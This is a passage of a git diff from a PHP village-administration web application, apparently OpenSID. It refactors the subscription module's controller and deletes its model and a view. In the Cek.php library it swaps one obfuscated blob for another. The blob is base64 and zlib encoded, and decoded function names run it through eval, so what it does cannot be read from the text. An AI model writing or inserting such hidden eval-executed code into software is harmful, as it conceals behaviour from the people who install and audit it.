'error_premium' => $error_premium, + 'pesan' => $pesan, ]); } @@ -119,7 +124,13 @@ public function perbarui(): void public function perpanjang_layanan(): void { - $this->render('pelanggan/perpanjang_layanan', ['pemesanan_id' => $_GET['pemesanan_id'], 'server' => $_GET['server'], 'invoice' => $_GET['invoice'], 'token' => $_GET['token']]); + view('admin.pelanggan.perpanjang_layanan', [ + 'title' => 'Layanan Pelanggan', + 'pemesanan_id' => $_GET['pemesanan_id'], + 'server' => $_GET['server'], + 'invoice' => $_GET['invoice'], + 'token' => $_GET['token'], + ]); } public function perpanjang() @@ -144,6 +155,7 @@ public function perpanjang() ->getBody(); } catch (ClientException $cx) { log_message('error', $cx); + // set_session('errors', json_decode($cx->getResponse()->getBody(), null)); $this->session->set_flashdata(['errors' => json_decode($cx->getResponse()->getBody(), null)]); session_error(); @@ -181,11 +193,10 @@ public function pemesanan() hapus_cache('status_langganan'); cache()->forget('identitas_desa'); if ($this->request['body']['desa_id'] != kode_wilayah($this->header['desa']['kode_desa'])) { - // $this->setting_model->update_setting(['layanan_opendesa_token' => null]); return json([ 'status' => false, - 'message' => ucwords($this->setting->sebutan_desa . ' ' . $this->header['desa']['nama_desa']) . ' tidak terdaftar di ' . config_item('server_layanan') . ' atau Token yang di input tidak sesuai dengan kode desa', + 'message' => ucwords(setting('sebutan_desa') . ' ' . $this->header['desa']['nama_desa']) . ' tidak terdaftar di ' . config_item('server_layanan') . ' atau Token yang di input tidak sesuai dengan kode desa', ]); } @@ -203,14 +214,10 @@ public function pemesanan() $this->cache->pakai_cache(fn () => // request ke api layanan.opendesa.id json_decode(json_encode($this->request, JSON_THROW_ON_ERROR), false), 'status_langganan', 24 * 60 * 60); - // TODO: Sederhanakan query ini, pindahkan ke model - $this->db - ->set(['status' => '1']) - ->where('config_id', identitas('id')) - ->where('tipe', '1') + Anjungan::where('tipe', '1') ->where('status', '0') ->where('status_alasan', 'tidak berlangganan anjungan') - ->update('anjungan'); + ->update(['status' => '1']); return json([ 'status' => true, diff --git a/donjo-app/third_party/pelanggan/libraries/Cek.php b/donjo-app/third_party/pelanggan/libraries/Cek.php index 33e9934e8..86c06dcc5 100644 --- a/donjo-app/third_party/pelanggan/libraries/Cek.php +++ b/donjo-app/third_party/pelanggan/libraries/Cek.php @@ -300,7 +300,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/third_party/pelanggan/models/Pelanggan_model.php b/donjo-app/third_party/pelanggan/models/Pelanggan_model.php deleted file mode 100644 index 8ed43bbdd..000000000 --- a/donjo-app/third_party/pelanggan/models/Pelanggan_model.php +++ /dev/null @@ -1,123 +0,0 @@ -client = new Client(); - } - - public function status_langganan() - { - if (empty($response = $this->api_pelanggan_pemesanan()) || config_item('demo_mode')) { - return null; - } - - $tgl_akhir = $response->body->tanggal_berlangganan->akhir; - - if (empty($tgl_akhir)) { // pemesanan bukan premium - if ($response->body->pemesanan) { - foreach ($response->body->pemesanan as $pemesanan) { - $akhir[] = $pemesanan->tgl_akhir; - } - - $masa_berlaku = calculate_date_intervals($akhir); - } - } else { // pemesanan premium - $tgl_akhir = strtotime($tgl_akhir); - $masa_berlaku = round(($tgl_akhir - time()) / (60 * 60 * 24)); - } - - switch (true) { - case $masa_berlaku > 30: - $status = ['status' => 1, 'warna' => 'lightgreen', 'ikon' => 'fa-battery-full']; - break; - - case $masa_berlaku > 10: - $status = ['status' => 2, 'warna' => 'orange', 'ikon' => 'fa-battery-half']; - break; - - default: - $status = ['status' => 3, 'warna' => 'pink', 'ikon' => 'fa-battery-empty']; - } - $status['masa'] = $masa_berlaku; - - return $status; - } - - /** - * Ambil data pemesanan dari api layanan.opendeda.id - * - * @return mixed - */ - public function api_pelanggan_pemesanan() - { - if (empty($this->setting->layanan_opendesa_token)) { - $this->session->set_userdata('error_status_langganan', 'Token Pelanggan Kosong.'); - - return null; - } - - if ($cache = $this->cache->file->get('status_langganan')) { - $modul = collect($cache->body->pemesanan)->filter(static fn ($data): bool => $data->status_pemesanan === 'aktif') - ->map(static fn ($data) => collect($data->layanan)->filter(static fn ($data): bool => $data->nama_kategori === 'Modul') - // ->map(fn ($data) => collect($data->layanan)->filter(fn ($data) => $data->nama_kategori === "Tema") // untuk testing - ->map(static fn ($data) => $data->nama)->toArray()) - ->flatten() - ->toArray(); - - if (count($modul) > 0) { - cache()->remember('modul_aktif', 60 * 60 * 24 * 365, static fn (): array => $modul); - } - - $this->session->set_userdata('error_status_langganan', 'Tunggu sebentar, halaman akan dimuat ulang.'); - - return $cache; - } - } -} diff --git a/donjo-app/third_party/pelanggan/views/pelanggan/index.php b/donjo-app/third_party/pelanggan/views/pelanggan/index.php deleted file mode 100644 index 358fd718b..000000000 --- a/donjo-app/third_party/pelanggan/views/pelanggan/index.php +++ /dev/null @@ -1,558 +0,0 @@ - -
-
-

- -
-
- session->error_premium) : ?> -
-
- - session->error_premium) : ?> -

session->error_premium ?>

- -

Tidak Terhubung Dengan Jaringan

- -
-
- session->error_premium_pesan) : ?> -
-
-
- -
-
